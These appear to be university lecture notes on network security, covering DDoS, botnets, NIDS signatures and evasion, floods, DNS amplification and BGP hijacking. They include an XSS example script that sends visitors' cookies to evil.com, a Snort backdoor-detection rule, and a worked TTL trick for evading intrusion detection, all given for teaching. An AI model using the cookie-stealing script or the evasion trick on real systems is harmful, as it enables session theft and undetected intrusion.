6.033: Security – Network Security Lecture 23 Katrina LaCurts, lacurts@mit.edu

- 0. Today's Threat Model
 - Last time: adversary tried to observe or tamper with packets
 - Today: adversary is not just passively observing the network, but actively using it to attack users (more actively than the replay/reflection/man-in-the-middle attacks we saw last time)
 - Some attacks today don't require adversary to observe packet contents; secure channels won't help
- 1. DDoS Attacks
 - Adversary's goal: bring down a service (e.g., take down the root DNS servers)
 - Strategy: congest the service. Make it spend time handling the adversary's requests so that it can't get to legitimate ones
 - DoS ("denial of service") attack
 - Adversary sends a bunch of traffic to the service (in many cases even invalid requests will work), queues fill up, packets dropped, etc.
 - DDoS ("distributed DoS") attack
 - Mount the attack from multiple machines
 - Can target any resource: bandwidth, routing systems, access to a database, etc.
 - Consequences of (D)DoS attacks
 - A server being down for a few hours might not seem like the end of the world. But..
 - Could be bank transactions
 - Could be DNS root servers (would bring Internet to a stand-still)
 - Could be on high-frequency trading machines, affect the stock market, etc.
- 2. Botnets
 - Can't we just toughen up our defenses? Add more bandwidth? How much traffic can one adversary generate?
 - Botnets: large (~100,000 machines) collection of compromised machines controlled by an attacker.
 - Make it very easy to mount DDoS attacks
 - Can be rented surprisingly cheaply
 - PLEASE DO NOT DO THIS
 - How botnets work in five minutes
 - How do machines get compromised (and become part of the botnet)

- Lots of ways. Common way: user visits vulnerable website.
 Vulnerability is usually a cross-site scripting attack.
 Example:
 - TrustedBlog.com has a box for users to enter comments on blogs.
 - Attacker embeds an executable script in his comment such as:

<script> document.location =
 'http://evil.com/blah.cgi?cookie=' + document.cookie;
 </script>

- When users browse, server sends comments to their browsers which execute the script, which sends the user's cookie to the attacker's site
- XSS script to compromise a botnet machine causes user to download a "rootkit", which compromises the machine
 see tomorrow's recitation
- Bots contact command and control (C&C) servers which give them commands
- How to combat botnets
 - Block IP addresses? Ineffective. Bots can change IP addresses rapidly.
 - Distribute systems so that DDoS attacks don't have a centralized component to bring down? Not bad, but as we've seen, distribution => complexity
- 3. Network Intrusion Detection Systems (NIDS)
 - If we wanted to block IP addresses, how would we even figure out which IPs were part of the botnet?
 - Broader question: how do we detect network attacks?
 - Two approaches
 - Signature-based: Keep a database of known attack signatures and match traffic against the database.

A signature might look something like this:

alert tcp \$EXTERNAL_NET any -> \$HOME_NET 7597
(msg:"MALWARE-BACKDOOR QAZ Worm Client Login access";
flow:to_server,established; content:"qazwsx.hsq";
metadata:ruleset community; reference:mcafee,98775;
classtype:misc-activity; sid:108; rev:11;)

- Pros: Easy to understand the outcome, Accurate in detecting known attacks
- Cons: Can't discover new attacks, Can only get the signature after the attack has already happened at least once
- Anomaly-based: Match traffic against a model of normal traffic and flags abnormalities.
 - Pros: Can deal with new attacks
 - Cons: How do we model normal traffic?; Less accurate

detection of known attacks

- Many systems take a hybrid approach
 - Most also give users the ability to, once an attack is (passively) detected, do something to (actively) prevent it. Out of scope of this lecture.
- Example intrusion-detection systems:
 - Snort https://www.snort.org/
 - Bro https://www.bro.org/
- 4. How to evade NIDS
 - Suppose we build a NIDS to scan traffic for a particular string ("USER root"). Seems easy.
 - Idea 1: Scan for the text in each packet. No good: text might be split across multiple packets.
 - Idea 2: Remember text from the previous packet. Also no good: packets might be delivered out-of-order.
 - Idea 3: Fully reassemble the byte stream. Possible if the traffic has sequence numbers attacked (e.g., is TCP traffic). But this costs state, and, unfortunately, is still evadable:

Attacker ---- NIDS ---> receiver

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Suppose path from attacker to NIDS = 15 hops, path from attacker to receiver = 20 hops
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1. Attacker sends two packets:
 [n ; TTL=17 ; seq=1]
 [r ; TTL=23 ; seq=1]

Both packets reach the NIDS, but because of the TTL, only the second reaches the receiver.

NIDS' state:	Receiver's state:
seq=1: [n] or [r]	seq=1: [r]

- 2. Attacker sends two packets:
 [o ; TTL=21 ; seq=2]
 [i ; TTL=15 ; seq=2]
- 3. Attacker sends one packet:
 [o ; TTL=20 ; seq=3]

4. Attacker sends two packets:
 [c ; TTL=19 ; seq=4]
 [t ; TTL=27 ; seq=4]
Ending state
NIDS' state:
 Receive

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      NIDS' state:
      Receiver's state:

      seq=1: [n] or [r]
      seq=1: [r]

      seq=2: [o] or [i]
      seq=2: [o]
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 seq=3:
 [o]
 seq=3:
 [o]

 seq=4:
 [c] or
 [t]
 seq=4:
 [t]

- At NIDS, string could be nooc, or riot, or rioc, ..Another way to evade NIDS: mount an attack on the detection mechanism
- 5. Attacks that mimic legitimate traffic (and thus are even harder to detect)
 - HTTP flooding
 - Attacker floods webserver with completely legitimate HTTP requests to download a large file or perform some computationally intensive database operation.
 - TCP SYN floods
 - TCP connections start with a "handshake", which cause the server to keep some state about the connection until the client completes the handshake
 - Attacker can initiate many handshakes, exhaust state on the server
 - Solution: server times out half-open connection
 - Optimistic ACKs
 - Attacker starts TCP communication with victim, ACKs packets that it hasn't received yet
 - Victim sends more and more traffic to the attacker, saturating their own link
 - DNS reflection/amplification
 - Bots locate DNS nameservers (even better if they are DNSSEC-enable)
 - Bots send DNS requests to these nameservers
 - Spoof sources to be the victim's IP address
 - If DNSSEC-enable, request the relevant info. DNSSEC responses tend to be very large
 - Result: Large DNS responses that go to the victim's machine
- 6. Attacks on routers
 - Suppose adversary gains access to routers. Could:
 - Overload the router CPU with lots of routing churns
 - Overload the routing table with too many routes
 - Hijack prefixes
 - Attacker gets an AS to announce that it originates a prefix that it doesn't actually own. Or to announce a more specific (and thus more-preferred) prefix. Or to just lie that a shorter route exists.
 - Example: http://www.wired.com/2014/08/isp-bitcoin-theft/
 - Example: https://www.ripe.net/publications/news/industry-developments/ youtube-hijacking-a-ripe-ncc-ris-case-study
 Example:
- https://greenhost.nl/2013/03/21/spam-not-spam-trackinghijacked-

spamhaus-ip/

- Solution: secure BGP. Similar mechanism as DNSSEC. But, with authentication, creating advertisements (signing them) takes about 100 times as long as it does now.
 Also need a lot of ASes to buy into this at once, otherwise it's not worth it
- 7. Moral of the story
 - Secure channels are great, but adversaries can still use the network to mount attacks
 - These attacks become devastating if they attack parts of the Internet's infrastructure (e.g., DNS, BGP)
 - Proposals exist to secure the infrastructure (DNSSEC, Secure BGP), but there are problems
 - It should blow your mind -- and worry you -- that so much of the Internet is unsecured.